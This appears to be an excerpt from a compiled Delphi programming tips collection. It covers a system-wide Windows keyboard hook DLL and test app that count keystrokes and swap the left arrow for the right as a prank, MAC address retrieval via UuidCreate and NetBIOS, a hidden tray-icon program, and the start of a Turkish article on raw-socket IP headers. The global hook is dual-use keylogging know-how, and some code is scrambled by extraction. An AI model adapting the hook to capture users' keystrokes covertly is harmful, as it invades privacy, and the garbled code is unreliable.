effectively share memory that is used by our hook function during the time the hook function is operating in the context of another process space. KeyBoardProc : The actual hook function. This function receives both keydown, and keyup messages as well as a message from windows indicating we should call the next hook in the windows "hook chain". This function increments TheKeyCount field of the memory mapped THookRec structure if the keystroke we are processing is a keyup message. If the key being processed is the enter key, we will fire the OnKeyDown event of the window provided in "TheCtrlWinHandle" field of the memory mapped THookRec structure. Finally, if the left arrow key is pressed, we will swallow the keystroke, and instead send a right arrow key stroke to the application. Note that the following variables and initializing code has been included in this function for your convience. The variables have been commented out in the code (as not to compile). To use them, simply remove the comments in the code: IsAltPressed {Determines if the Alt key is currently down} IsCtrlPressed {Determines if the Control key is currently down} IsShiftPressed {Determines if the Shift key is currently down} StartKeyBoardHook : An exported function that allows the application to initiate installing the keyboard hook; StopKeyBoardHook : An exported function that allows the application to initiate removing the keyboard hook; DllEntryPoint : The main entry point into our dll, allowing us to know when our dll is being mapped in, and out of, different application's address space. Delphi Hook DLL Example: library TheHook; uses Windows, Messages, SysUtils; {Define a record for recording and passing information process wide} type PHookRec = ^THookRec; THookRec = packed record TheHookHandle : HHOOK; TheAppWinHandle : HWND; TheCtrlWinHandle : HWND; TheKeyCount : DWORD; end; 545
var hObjHandle : THandle; {Variable for the file mapping object} lpHookRec : PHookRec; {Pointer to our hook record} procedure MapFileMemory(dwAllocSize : DWORD); begin {Create a process wide memory mapped variable} hObjHandle := CreateFileMapping($FFFFFFFF, NIL, PAGE_READWRITE, 0, dwAllocSize, 'HookRecMemBlock'); if (hObjHandle = 0) then begin MessageBox(0, 'Hook DLL', 'Could not create file map object', MB_OK); exit; end; {Get a pointer to our process wide memory mapped variable} lpHookRec := MapViewOfFile(hObjHandle, FILE_MAP_WRITE, 0, 0, dwAllocSize); if (lpHookRec = NIL) then begin CloseHandle(hObjHandle); MessageBox(0, 'Hook DLL', 'Could not map file', MB_OK); exit; end; end; procedure UnMapFileMemory; begin {Delete our process wide memory mapped variable} if (lpHookRec <> NIL) then begin UnMapViewOfFile(lpHookRec); lpHookRec := NIL; end; if (hObjHandle > 0) then begin CloseHandle(hObjHandle); hObjHandle := 0; end; end;
546
function GetHookRecPointer : pointer stdcall; begin {Return a pointer to our process wide memory mapped variable} result := lpHookRec; end; {The function that actually processes the keystrokes for our hook} function KeyBoardProc(Code : integer; wParam : integer; lParam : integer): integer; stdcall; var KeyUp : bool; {Remove comments for additional functionability IsAltPressed : bool; IsCtrlPressed : bool; IsShiftPressed : bool; } begin result := 0; case Code of HC_ACTION : begin {We trap the keystrokes here} {Is this a key up message?} KeyUp := ((lParam AND (1 shl 31)) <> 0); (*Remove comments for additional functionability {Is the Alt key pressed} if ((lParam AND (1 shl 29)) <> 0) then begin IsAltPressed := TRUE; end else begin IsAltPressed := FALSE; end; {Is the Control key pressed} if ((GetKeyState(VK_CONTROL) AND (1 shl 15)) <> 0) then begin IsCtrlPressed := TRUE; end else begin IsCtrlPressed := FALSE; end; {if the Shift key pressed} if ((GetKeyState(VK_SHIFT) AND (1 shl 15)) <> 0) then begin IsShiftPressed := TRUE; end else begin IsShiftPressed := FALSE; end; *) {If KeyUp then increment the key count} if (KeyUp <> FALSE) then begin 547
Inc(lpHookRec^.TheKeyCount); end; case wParam of {Was the enter key pressed?} VK_RETURN : begin {if KeyUp} if (KeyUp <> FALSE) then begin {Post a bogus message to the window control in our app} PostMessage(lpHookRec^.TheCtrlWinHandle, WM_KEYDOWN, 0, 0); PostMessage(lpHookRec^.TheCtrlWinHandle, WM_KEYUP, 0, 0); end; {If you wanted to swallow the keystroke then return -1} {else if you want to allow the keystroke then return 0} result := 0; exit; end; {VK_RETURN} {If the left arrow key is pressed then lets play a joke!} VK_LEFT : begin {if KeyUp} if (KeyUp <> FALSE) then begin {Create a UpArrow keyboard event} keybd_event(VK_RIGHT, 0, 0, 0); keybd_event(VK_RIGHT, 0, KEYEVENTF_KEYUP, 0); end; {Swallow the keystroke} result := -1; exit; end; {VK_LEFT} end; {case wParam} {Allow the keystroke} result := 0; end; {HC_ACTION} HC_NOREMOVE : begin {This is a keystroke message, but the keystroke message} {has not been removed from the message queue, since an} {application has called PeekMessage() specifying PM_NOREMOVE} result := 0; exit; end; end; {case code} if (Code < 0) then {Call the next hook in the hook chain} result := 548
CallNextHookEx(lpHookRec^.TheHookHandle, Code, wParam, lParam); end; procedure StartKeyBoardHook stdcall; begin {If we have a process wide memory variable} {and the hook has not already been set...} if ((lpHookRec <> NIL) AND (lpHookRec^.TheHookHandle = 0)) then begin {Set the hook and remember our hook handle} lpHookRec^.TheHookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyBoardProc, hInstance, 0); end; end; procedure StopKeyBoardHook stdcall; begin {If we have a process wide memory variable} {and the hook has already been set...} if ((lpHookRec <> NIL) AND (lpHookRec^.TheHookHandle <> 0)) then begin {Remove our hook and clear our hook handle} if (UnHookWindowsHookEx(lpHookRec^.TheHookHandle) <> FALSE) then begin lpHookRec^.TheHookHandle := 0; end; end; end; procedure DllEntryPoint(dwReason : DWORD); begin case dwReason of Dll_Process_Attach : begin {If we are getting mapped into a process, then get} {a pointer to our process wide memory mapped variable} hObjHandle := 0; lpHookRec := NIL; MapFileMemory(sizeof(lpHookRec^)); end; Dll_Process_Detach : begin {If we are getting unmapped from a process then, remove} {the pointer to our process wide memory mapped variable} UnMapFileMemory; end; end; end; 549
exports KeyBoardProc name 'KEYBOARDPROC', GetHookRecPointer name 'GETHOOKRECPOINTER', StartKeyBoardHook name 'STARTKEYBOARDHOOK', StopKeyBoardHook name 'STOPKEYBOARDHOOK';
begin {Set our Dll's main entry point} DLLProc := @DllEntryPoint; {Call our Dll's main entry point} DllEntryPoint(Dll_Process_Attach); end.
Application notes: The test application we have created demonstrates loading the dll that contains the keyboard hook, installing the key board hook, displaying the total keystroke count and the number of times the enter key has been pressed (in real time), uninstalling the keyboard hook and unloading the dll. The application code starts out by defining a form containing two labels, a button, and timer component. Once we install our hook function, we will start the timer, and upon every timer event, we will display in label1 the total number of keystrokes that have been entered by the user since the hook was set. The hook will also fire the button's OnKeyDown event each time the enter key is pressed, giving us the opportunity to display the total number of times the enter key has been pressed in the caption of label2. After the form is defined, we then define the THookRec structure in the same manner as it is defined in the hook dll. Other variables we will use include: a handle variable used for loading the hook dll, and three function pointer variables used to call the GetHookRecPointer(), StartKeyBoardHook(), and StopKeyBoardHook() functions. Finally we define a pointer to a THookRec structure used to access the memory mapped variables used by the hook function, a variable to keep track of the number of times the enter key is pressed, and a variable used to indicate the success of loading the dll, getting its functions, and setting the hook. The application logic goes something like this: On form create, we will initialize our form's components, attempt to dynamically load the hook dll, and get the address of the GetHookRecPointer(), StartKeyBoardHook(), and StopKeyBoardHook() 550
functions located in the hook dll. If we are successful, we will retrieve a pointer to THookRec structure used by the hook dll, we will then initialize structure, adding the handle of the button control so the keyboard hook will know which window control to call when the enter key is pressed. We will then attempt to start the keyboard hook. If we are successful, at setting the hook, we can then start the timer. On form destroy, if we where previously successful in installing the windows hook and loading the hook dll, we will now uninstall the windows hook, and unload the KeyHook dll. On the timer's timer event, we will simply display the total number of key presses in the form's label1 caption by accessing the KeyHook dll's THookRec structure. On the Buttons KeyDown event, if the key value passed is zero we increment our EnterKeyCount variable and display the total number of times the enter key has been pressed by accessing the KeyHook dll's THookRec structure. Delphi TestApp Example: unit TestHk1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm) Label1: TLabel; Label2: TLabel; Timer1: TTimer; Button1: TButton; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure Button1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation 551
{$R *.DFM} {Functions prototypes for the hook dll} type TGetHookRecPointer = function : pointer stdcall; type TStartKeyBoardHook = procedure stdcall; type TStopKeyBoardHook = procedure stdcall; {The record type filled in by the hook dll} type THookRec = packed record TheHookHandle : HHOOK; TheAppWinHandle : HWND; TheCtrlWinHandle : HWND; TheKeyCount : DWORD; end; {A pointer type to the hook record} type PHookRec = ^THookRec; var hHookLib : THANDLE; {A handle to the hook dll} GetHookRecPointer : TGetHookRecPointer; {Function pointer} StartKeyBoardHook : TStartKeyBoardHook; {Function pointer} StopKeyBoardHook : TStopKeyBoardHook; {Function pointer} LibLoadSuccess : bool; {If the hook lib was successfully loaded} lpHookRec : PHookRec; {A pointer to the hook record} EnterKeyCount : DWORD; {An internal count of the Enter Key} procedure TForm1.FormCreate(Sender: TObject); begin {Set our initial variables} Timer1.Enabled := FALSE; Timer1.Interval := 1000; Label1.Caption := '0 Keys Logged'; Label2.Caption := '0 Enter Keys Logged'; EnterKeyCount := 0; lpHookRec := NIL; LibLoadSuccess := FALSE; @GetHookRecPointer := NIL; @StartKeyBoardHook := NIL; @StopKeyBoardHook := NIL; {Try to load the hook dll} hHookLib := LoadLibrary('THEHOOK.DLL'); {If the hook dll was loaded successfully} if hHookLib <> 0 then begin {Get the function addresses} @GetHookRecPointer := GetProcAddress(hHookLib, 'GETHOOKRECPOINTER'); @StartKeyBoardHook := GetProcAddress(hHookLib, 'STARTKEYBOARDHOOK'); @StopKeyBoardHook := GetProcAddress(hHookLib, 'STOPKEYBOARDHOOK'); 552
{Did we find all the functions we need?} if ((@GetHookRecPointer <> NIL) AND (@StartKeyBoardHook <> NIL) AND (@StopKeyBoardHook <> NIL)) then begin LibLoadSuccess := TRUE; {Get a pointer to the hook record} lpHookRec := GetHookRecPointer; {Were we successfull in getting a ponter to the hook record} if (lpHookRec <> nil) then begin {Fill in our portion of the hook record} lpHookRec^.TheHookHandle := 0; lpHookRec^.TheCtrlWinHandle := Button1.Handle; lpHookRec^.TheKeyCount := 0; {Start the keyboard hook} StartKeyBoardHook; {Start the timer if the hook was successfully set} if (lpHookRec^.TheHookHandle <> 0) then begin Timer1.Enabled := TRUE; end; end; end else begin {We failed to find all the functions we need} FreeLibrary(hHookLib); hHookLib := 0; @GetHookRecPointer := NIL; @StartKeyBoardHook := NIL; @StopKeyBoardHook := NIL; end; end; end; procedure TForm1.FormDestroy(Sender: TObject); begin {Did we load the dll successfully?} if (LibLoadSuccess = TRUE) then begin {Did we sucessfully get a pointer to the hook record?} if (lpHookRec <> nil) then begin {Did the hook get set?} if (lpHookRec^.TheHookHandle <> 0) then begin Timer1.Enabled := FALSE; StopKeyBoardHook; end; end; {Free the hook dll} FreeLibrary(hHookLib); end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin {Display the number of keystrokes logged} Label1.Caption := IntToStr(lpHookRec^.TheKeyCount) + ' Keys Logged'; end; 553
procedure TForm1.Button1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin {Process message sent from hook dll and display} {number of time the enter key was pressed} if (Key = 0) then begin Inc(EnterKeyCount); Label2.Caption := IntToStr(EnterKeyCount) + ' Enter Keys Logged'; end; end; end.
Joe -Joe C. Hecht http://home1.gte.net/joehecht/index.htm
554
I have used the following code to obtain the MAC address successfully up till recently //--------------------------------------------------------------------------procedure find_MAC(var s1 : string); Type TGUID=record A,B:word; D,M,S:word; MAC:array[1..6] of byte; end; var UuidCreateFunc : function (var guid: TGUID) : HResult; stdcall; handle : THandle; g : TGUID; //ErrCode: HResult; begin handle := LoadLibrary('RPCRT4.DLL'); if s1 = '5' then @UuidCreateFunc := GetProcAddress(Handle, 'UuidCreateSequential') else @UuidCreateFunc := GetProcAddress(Handle, 'UuidCreate') ; UuidCreateFunc(g); s1 := s1 := s1 := s1 := s1 := s1 := s1 := end;
''; s1 s1 s1 s1 s1 s1
+ + + + + +
IntToHex(g.MAC[1],2) + IntToHex(g.MAC[2],2) + IntToHex(g.MAC[3],2) + IntToHex(g.MAC[4],2) + IntToHex(g.MAC[5],2) + IntToHex(g.MAC[6],2);
'-'; '-'; '-'; '-'; '-';
//--------------------------------------------------------------------------But all of a sudden it seems to have stopped working I tested it initially on w98, nt4.0 and w2k machines and it was fine I appears to function when compiled under delphi 4 and fail when that same exact source is compiled under delphi 5
555
//--------------------------------------------------------------------------//--------------------------------------------------------------------------I found some new code see below but it fails on many machines somthing about netbios v 3 being required does anyone have reliable code or can they explain how to modify the delphi 5 compiler to correctly implement the code //--------------------------------------------------------------------------//--------------------------------------------------------------------------PS I know the code below is long but I'm hoping for a few brownie points for complete problem description //--------------------------------------------------------------------------{---------------------------------------------} { enumerate the lana's - works only on WIN32 } {---------------------------------------------} function NbLanaEnum: TLana_Enum; var NCB: TNCB; L_Enum: TLana_Enum; RetCode: Word; begin {$IFDEF WIN32} FillChar(NCB, SizeOf(NCB), 0); FillChar(L_Enum, SizeOf(TLana_Enum), 0); NCB.Command := NCB_ENUM; NCB.Buf := @L_Enum; NCB.Length := Sizeof(L_Enum); RetCode := NetBiosCmd(NCB); if RetCode <> NRC_GOODRET then begin L_Enum.Length := 0; L_Enum.Lana[0] := Byte(RetCode); end; {$ELSE} { not supported for WIN16, fake LANA 0 } L_Enum.Length := 1; L_Enum.Lana[0] := 0; {$ENDIF} Result := L_Enum; end; {----------------------------------------} { Reset the lana - don't for WIN16 ! } {----------------------------------------} function NbReset(l: Byte): Word; var NCB: TNCB; 556
begin {$IFNDEF WIN32} { will reset all your connections for WIN16 } Result := NRC_GOODRET; { so just fake a reset for Win16 } {$ELSE} FillChar(NCB, SizeOf(NCB), 0); NCB.Command := NCB_RESET; NCB.Lana_Num := l; Result := NetBiosCmd(NCB); {$ENDIF} end; {----------------------------------------} { return the MAC address of an interface } { in the form of a string like : } { 'xx:xx:xx:xx:xx:xx' } { using the definitions in nb.pas } {----------------------------------------} function NbGetMacAddr(LanaNum: Integer): String; var NCB: TNCB; AdpStat: TAdpStat; RetCode: Word; begin FillChar(NCB, SizeOf(NCB), 0); FillChar(AdpStat, SizeOf(AdpStat), 0); NCB.Command := NCB_ADPSTAT; NCB.Buf := @AdpStat; NCB.Length := Sizeof(AdpStat); FillChar(NCB.CallName, Sizeof(TNBName), $20); NCB.CallName[0] := Byte('*'); NCB.Lana_Num := LanaNum; RetCode := NetBiosCmd(NCB); if RetCode = NRC_GOODRET then begin Result := Format('%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x', [AdpStat.ID[0], AdpStat.ID[1], AdpStat.ID[2], AdpStat.ID[3], AdpStat.ID[4], AdpStat.ID[5] ]); end else begin Result := '??:??:??:??:??:??'; end; end; procedure find_MAC(var macadd : string); var L_Enum : TLana_Enum; RetCode: Word; begin 557
L_Enum := NbLanaEnum; { enumerate lanas for WIN NT } if L_Enum.Length = 0 then begin //Button1.Caption := Format('LanaEnum err=%2.2x', [L_Enum.Lana[0]]); //exit; end; (* for i := 0 to (L_Enum.Length - 1)do begin { for every lana found } RetCode := NbReset(L_Enum.Lana[i]); { Reset lana for WIN NT } if RetCode <> NRC_GOODRET then begin Button1.Caption := Format('Reset Lana %d err=%2.2x',[i, RetCode]); exit; end; *) RetCode := NbReset(L_Enum.Lana[0]); { Reset lana for WIN NT } if RetCode = NRC_GOODRET then macadd := NbGetMacAddr(0); end; //--------------------------------------------------------------------------unit Nb; {$F+} { nb.pas 16/32 bit windows netbios access (follows IBM's Netbios 3.0 spec) (C) CEVI VZW - 29 april 1998 -- DH ([email protected]) -You can (ab)use this code as you like, but please do not remove the credits. I used reference material from IBM, Microsoft, Syntax and Byte when I wrote the 16-bit (DOS) c-version ages ago (in Borland Turbo C 2.0 on a 386SX PC) with a Syntax SMB server running on Interactive Unix. I now converted this to 16 and 32 bit Delphi code. } interface 558
uses SysUtils, Winprocs, Wintypes; const { size of a netbios name } NBNAMESIZE = 16; { max number of network adapters } { remeber it's BIG Blue, right ? } MAXLANAS = 254; { NCB Command codes } NCB_ASYNC = $80; { asynch command bit to be or-ed into command } NCB_CALL = $10; { open a session } NCB_LISTEN = $11; { wait for a call } NCB_HANGUP = $12; { end session } NCB_SEND = $14; { send data } NCB_RECV = $15; { receive data } NCB_RECVANY = $16; { receive data on any session } NCB_CHAINSEND = $17; { chain send data } NCB_DGSEND = $20; { send a datagram } NCB_DGRECV = $21; { receive datagram } NCB_DGSENDBC = $22; { send broadcast datagram } NCB_DGREVCBC = $23; { receive broadcast datagram } NCB_ADDNAME = $30; { add unique name to local table } NCB_DELNAME = $31; { delete name from local table } NCB_RESET = $32; { reset adapter } NCB_ADPSTAT = $33; { adapter status } NCB_SSTAT = $34; { session status } NCB_CANCEL = $35; { cancel NCB request } NCB_ADDGRPNAME= $36; { add group name to local table } NCB_ENUM = $37; { enum adapters } NCB_UNLINK = $70; { unlink remote boot code } NCB_SENDNA = $71; { send, don't wait for ACK } NCB_CHAINSENDNA=$72; { chain send, but don't wait for ACK } NCB_LANSTALERT= $73; { lan status alert } NCB_ACTION = $77; { enable extensions } NCB_FINDNAME = $78; { search for name on the network } NCB_TRACE = $79; { activate / stop tracing } { NCB return codes } NRC_GOODRET = $00; { good return also returned when ASYNCH request accepted } NRC_BUFLEN = $01; { illegal buffer length } NRC_ILLCMD = $03; { illegal command 559
} NRC_CMDTMO = $05; { command timed out } NRC_INCOMP = $06; { message incomplete, issue another command } NRC_BADDR = $07; { illegal buffer address } NRC_SNUMOUT = $08; { session number out of range } NRC_NORES = $09; { no resource available } NRC_SCLOSED = $0a; { session closed } NRC_CMDCAN = $0b; { command cancelled } NRC_DUPNAME = $0d; { duplicate name } NRC_NAMTFUL = $0e; { name table full } NRC_ACTSES = $0f; { no deletions, name has active sessions } NRC_LOCTFUL = $11; { local session table full } NRC_REMTFUL = $12; { remote session table full } NRC_ILLNN = $13; { illegal name number } NRC_NOCALL = $14; { no callname } NRC_NOWILD = $15; { cannot put * in NCB_NAME } NRC_INUSE = $16; { name in use on remote adapter } NRC_NAMERR = $17; { name deleted } NRC_SABORT = $18; { session ended abnormally } NRC_NAMCONF = $19; { name conflict detected } NRC_IFBUSY = $21; { interface busy, IRET before retrying } NRC_TOOMANY = $22; { too many commands outstanding, retry later } NRC_BRIDGE = $23; { ncb_lana_num field invalid } NRC_CANOCCR = $24; { command completed while cancel occurring } NRC_CANCEL = $26; { command not valid to cancel } NRC_DUPENV = $30; { name defined by anther local process } NRC_ENVNOTDEF = $34; { environment undefined. RESET required } 560
NRC_OSRESNOTAV = $35; { required OS resources exhausted } NRC_MAXAPPS = $36; { max number of applications exceeded } NRC_NOSAPS = $37; { no saps available for netbios } NRC_NORESOURCES = $38; { requested resources are not available } NRC_INVADDRESS = $39; { invalid ncb address or length > segment } NRC_INVDDID = $3B; { invalid NCB DDID } NRC_LOCKFAIL = $3C; { lock of user area failed } NRC_OPENERR = $3f; { NETBIOS not loaded } NRC_SYSTEM = $40; { system error } NRC_PENDING = $ff; { asynchronous command is not yet finished } { Values for transport_id } ALL_TRANSPORTS = 'M'#$00#$00#$00; MS_NBF = 'MNBF'; { values for name_flags bits. } NAME_FLAGS_MASK = $87; GROUP_NAME = $80; UNIQUE_NAME = $00; REGISTERING = $00; REGISTERED = $04; DEREGISTERED = $05; DUPLICATE = $06; DUPLICATE_DEREG = $07; { Values for state } LISTEN_OUTSTANDING = $01; CALL_PENDING = $02; SESSION_ESTABLISHED = $03; HANGUP_PENDING = $04; HANGUP_COMPLETE = $05; SESSION_ABORTED = $06; type 561
{ Netbios Name } TNBName = array[0..(NBNAMESIZE - 1)] of byte; { MAC address } TMacAddress = array[0..5] of byte; PNCB = ^TNCB; { Netbios Control Block } {$IFDEF WIN32} TNCBPostProc = procedure(P: PNCB); {$ENDIF} TNCB = packed record { Netbios Control Block } Command: byte; { command code } RetCode: byte; { return code } LSN: byte; { local session number } Num: byte; { name number } Buf: ^byte; { data buffer } Length: word; { data length } CallName: TNBName; { name to call } Name: TNBName; { our own name } RTO: byte; { receive time-out } STO: byte; { send time-out } {$IFNDEF WIN32} Post_Offs:word; { asynch notification routine offset } Post_Seg: word; { asynch notification routine segment} {$ELSE} PostPrc: TNCBPostProc;{ asynch notification routine (nb30) } {$ENDIF} Lana_Num: byte; { adapter number } Cmd_Cplt: byte; { command completion flag } {$IFDEF WIN32} Reserved: array[0..9] of byte; { Reserverd for Bios use } Event: THandle; { WIN32 event handle to be signalled } { for asynch cmd completion } {$ELSE} Reserved: array[0..13] of byte; { Reserved } {$ENDIF} end; { Netbios Name Info record } PNameInfo = ^TNameInfo; TNameInfo = packed record { name info record } Name: TNBName; { netbios name } NameNum:byte; { name number } NameSt: byte; { name status } end; 562
{ Netbios adapter status } PAdpStat = ^TAdpStat; TAdpStat = packed record { adapter status record} ID: TMacAddress; { adapter mac address } VMajor: byte; { software version major number } Resvd0: byte; AdpType: byte; { adapter type } VMinor: byte; { software version minor number } RptTime: word; { reporting time period } RcvCRC: word; { receive crc errors } RcvOth: word; { receive other errors } TxmCol: word; { transmit collisions } TxmOth: word; { transmit other errors } TxmOK: LongInt; { successfull transmissions } RcvOK: LongInt; { successfull receives } TxmRetr: word; { transmit retries } NoRcvBuf: word; { number of 'no receive buffer' } T1_tmo: word; { t1 time-outs } Ti_tmo: word; { ti time_outs } Resvd1: LongInt; Free_Ncbs:word; { number of free ncb's } Cfg_Ncbs: word; { number of configured ncb's } max_Ncbs: word; { max ncb's used } NoTxmBuf: word; { number of 'no transmit buffer'} MaxDGSize:word; { max. datagram size } Pend_Ses: word; { number of pending sessions } Cfg_Ses: word; { number of configured sessions } Max_Ses: word; { max sessions used } Max_SPSz: word; { max. session packet size } nNames: word; { number of names in local table} Names: array[0..15] of TnameInfo; { local name table } end; { Structure returned to the NCB command NCBSSTAT is SESSION_HEADER followed by an array of SESSION_BUFFER structures. If the NCB_NAME starts with an asterisk then an array of these structures is returned containing the status for all names. } { session header } PSession_Header = ^TSession_Header; TSession_Header = packed record sess_name: byte; num_sess: byte; rcv_dg_outstanding: byte; rcv_any_outstanding: byte; end; { session buffer } 563
PSession_Buffer = ^TSession_Buffer; TSession_Buffer = packed record lsn: byte; state: byte; local_name: TNBName; remote_name: TNBName; rcvs_outstanding: byte; sends_outstanding: byte; end; { Structure returned to the NCB command NCBENUM. On a system containing lana's 0, 2 and 3, a structure with length =3, lana[0]=0, lana[1]=2 and lana[2]=3 will be returned. } PLana_Enum = ^TLana_Enum; TLANA_ENUM = packed record length: byte; { Number of valid entries in lana[] } lana: array[0..(MAXLANAS - 1)] of byte; end; { Structure returned to the NCB command NCBFINDNAME is FIND_NAME_HEADER followed by an array of FIND_NAME_BUFFER structures. } PFind_Name_Header = ^TFind_Name_Header; TFind_Name_Header = packed record node_count: word; reserved: byte; unique_group: byte; end; PFind_Name_Buffer = ^TFind_Name_Buffer; TFind_Name_Buffer = packed record length: byte; access_control: byte; frame_control: byte; destination_addr:TMacAddress; source_addr: TMacAddress; routing_info: array[0..17] of byte; end; { Structure provided with NCBACTION. The purpose of NCBACTION is to provide transport specific extensions to netbios. } PAction_Header = ^TAction_Header; TAction_Header = packed record 564
transport_id: LongInt; action_code: Word; reserved: Word; end;
{$IFDEF WIN32} function Netbios(P: PNCB): Char; stdcall; {$ENDIF} { Exposed functions } function NetbiosCmd(var NCB: TNCB): Word; implementation {$IFDEF WIN32} function Netbios; external 'netapi32.dll' name 'Netbios'; {$ENDIF} {---------------------------------} { execute a Windows Netbios Call } {---------------------------------} function NetbiosCmd(var NCB: TNCB): Word; begin {$IFNDEF WIN32} asm push bp { save bp } push ss { save ss } push ds { save ds } les bx, NCB { get segment/offset address of NCB } call NetBiosCall; { 16 bit Windows Netbios call } xor ah,ah mov @Result, ax { store return code } pop ds { restore ds } pop ss { restore ss } pop bp { restore bp } end; {$ELSE} Result := Word(Netbios(PNCB(@NCB))); { 32 bit Windows Netbios call } {$ENDIF} end; end.
565
program NoForm; uses Windows, SysUtils, Messages, ShellApi; {$R *.RES} const AppName = 'APP WITHOUT FORM'; wID_Auto = WM_USER + 11; wID_Close = WM_USER + 12; var tid: TNotifyIconData; WndClass: array[0..50] of char; TimerID:integer; hPopUp: HMenu; Wnd: hWnd; Hint : PChar; Procedure TrackPopUpWin(hWindow: HWnd); Var P: TPoint; Begin //Show Popup Menu SetForegroundWindow(hWindow); GetCursorPos( P ); TrackPopupMenu( hPopUp, TPM_CENTERALIGN, P.x, P.y, 0, hWindow, NIL ); PostMessage(hWindow, WM_NULL, 0, 0); End; Procedure CreateMenuPopUp; Var mItem: TMENUITEMINFO; Begin hPopUp := CreatePopUpMenu; mItem.cbSize := SizeOF( MENUITEMINFO ); mItem.fMask := MIIM_CHECKMARKS or MIIM_DATA or MIIM_ID or MIIM_STATE or MIIM_SUBMENU or MIIM_TYPE; mItem.fType := mft_String; // mItem.wID := wID_Close; mItem.dwItemData := wID_Close; mItem.dwTypeData := PChar( 'Sair' ); mItem.cch := Length( 'Sair' ); InsertMenuItem( hPopUp, wID_Close, False, mItem ); // mItem.wID := wID_Auto; mItem.dwItemData := wID_Auto; mItem.dwTypeData := PChar( 'Auto Start' ); mItem.cch := Length( 'Auto Start' ); InsertMenuItem( hPopUp, wID_Auto, False, mItem ); 566
End;
function DummyWindowProc (Wnd: hWnd; Msg, wParam: Word; lParam: LongInt): LongInt; stdcall; var TrayHandle: THandle; begin DummyWindowProc := 0; StrPCopy(@WndClass[0], 'Progman'); TrayHandle := FindWindow(@WndClass[0], nil); case Msg of WM_CREATE: // Program initialisation - just set up a tray icon begin tid.cbSize := sizeof (tid); tid.Wnd := Wnd; tid.uID := 1; tid.uFlags := nif_Message or nif_Icon or nif_Tip; tid.uCallBackMessage := WM_USER; tid.hIcon := LoadIcon (hInstance, 'MAINICON'); lstrcpy (tid.szTip,Hint); // Create Menu CreateMenuPopUp; // Shell_NotifyIcon (nim_Add, @tid); end; WM_DESTROY: begin Shell_NotifyIcon (nim_Delete, @tid); PostQuitMessage (0); ShowWindow(TrayHandle, SW_RESTORE); end; WM_COMMAND: // Command notification begin Exit; end; WM_USER: // Had a tray notification - see what to do begin if (lParam = WM_RBUTTONUP) then begin PostMessage (Wnd, WM_CLOSE, 0, 0); end; if (lParam = WM_LBUTTONUP) then begin //do something TrackPopUpWin(Wnd); end; end; end; DummyWindowProc := DefWindowProc (Wnd, Msg, wParam, lParam); end; 567
procedure TimerProc(Wnd: HWND; uMsg: UINT; idEvent: UINT; dwTime: DWORD);pascal; begin //If you need timed events to check end; procedure WinMain; var Msg: TMsg; cls: TWndClass; begin { Register the window class } FillChar (cls, sizeof (cls), 0); cls.lpfnWndProc := @DummyWindowProc; cls.hInstance := hInstance; cls.lpszClassName := AppName; Windows.RegisterClass (cls); { Now create the dummy window } Wnd := CreateWindow (AppName, AppName, ws_OverlappedWindow, 4, 4, 4, 4,0, 0, hInstance, Nil); TimerID := Windows.SetTimer(0,3,60000,@TimerProc); //60 Seconds if Wnd <> 0 then begin ShowWindow (Wnd, SW_HIDE); while GetMessage (Msg, 0, 0, 0) do begin TranslateMessage (Msg); DispatchMessage (Msg); end; end; end; begin Hint := '127.0.0.1'; if FindWindow (AppName, nil) <> 0 then Exit; // INI WinMain; end.
568
Makale
RAW SOCKETLER - IP BAŞLIĞI
Yorum Son Durum
0
29 Haz 2002 17:34 Eklendi
RAW SOCKETLER - IP BAŞLIĞI Selam arkadaşlar. Eskiden raw socketler sadece unix, linux gibi işletim sistemleri tarafından destekleniyordu. Artık bu destek Windows 2000'de kısmen, Windows XP'de ise tam olarak var. Raw socketleri öğrenmeye başlamadan önce internette gelip giden paketlerin yapısına kısaca bir göz atalım. Örneğin bir ping attığımızda hedefe sırası ile: -> 20 bytelık bir ip başlığı (Not: IP başlında ekstra seçenekler kullanılırsa bu değer artabilir) -> 8 bytelık bir icmp başlığı -> Ekstra veri (Not: Bu pingin boyutuna bağlıdır. Gönderilmesi şart değildir) içeren bir paket göndermiş oluruz. Bu paketteki ip başlığı normal bir socket'de işletim seti tarafından oluşturulmakta ve işlenmektedir. Şayet bu ip başlığını kendimiz oluşturmak ve işlemek istersek işletim setine kendi ip başlığını oluşturmaması gereken bir komut göndermemiz gerekmektedir. İşte işletim seti bu komutu destekliyorsa bu işletim setinin raw socket desteği var diyebiliriz. Artık ip başlığının yapısını incelemeye başlayalım: type PIPhdr = ^TIPhdr; TIPhdr = packed record ip_verlen: byte; ip_tos: byte; ip_len: word; ip_id: word; ip_off: word; ip_ttl: byte; ip_p: byte; ip_sum: word; ip_src: longword; ip_dst: longword; end; ip_verlen (Version + IHL [8 bit]): İlk 4 biti "Version", kalan 4 biti de "IHL" (Internet header length) bölümü olmak üzere toplam 2 ana bölümden oluşmuştur. "Version" bölümünü ip başlığının formatının belirtildiği bölümdür. Alabileceği değerler şunlardır: 569
Alabileceği değerler şunlardır: -> 4: IP, Internet Protocol -> 5: ST, ST Datagram Mode -> 6: . SIP, Simple Internet Protocol . SIPP, Simple Internet Protocol Plus . IPv6, Internet Protocol -> 7 TP/IX, The Next Internet -> 8 PIP, The P Internet Protocol -> 9 TUBA "IHL" bölümündeki değer 32 bitlik bir değişken içerisinde yer alan ip başlığının boyutunu temsil eder. Geçerli bir ip başlığında bu değer minimum 5 olabilir. [--------------------------------] ip_tos (Type Of Service [8 bit]): İstenilen servisin çeşidine göre parametreler içerir. Bu parametreler bazı ağlar tarafından paketin nasıl ele alınacağını belirtmek amacıyla kullanılabilir. TOS ilk 3 biti "Precedence", diğer 1 biti "Minimize delay", diğer 1 biti "Maximize throughput", diğer 1 biti "Maximize reliability", diğer 1 biti "Minimize monetary cost" bölümü olmak üzere toplam 5 ana bölümden oluşmuştur. "Precedence" bölümünün alabileceği değerler şunlardır: -> 0: Routine -> 1: Priority -> 2: Immediate -> 3: Flash -> 4: Flash override -> 5: CRITIC/ECP -> 6: Internetwork control -> 7: Network control "Minimize delay" bölümünün alabileceği değerler şunlardır: -> 0: Normal 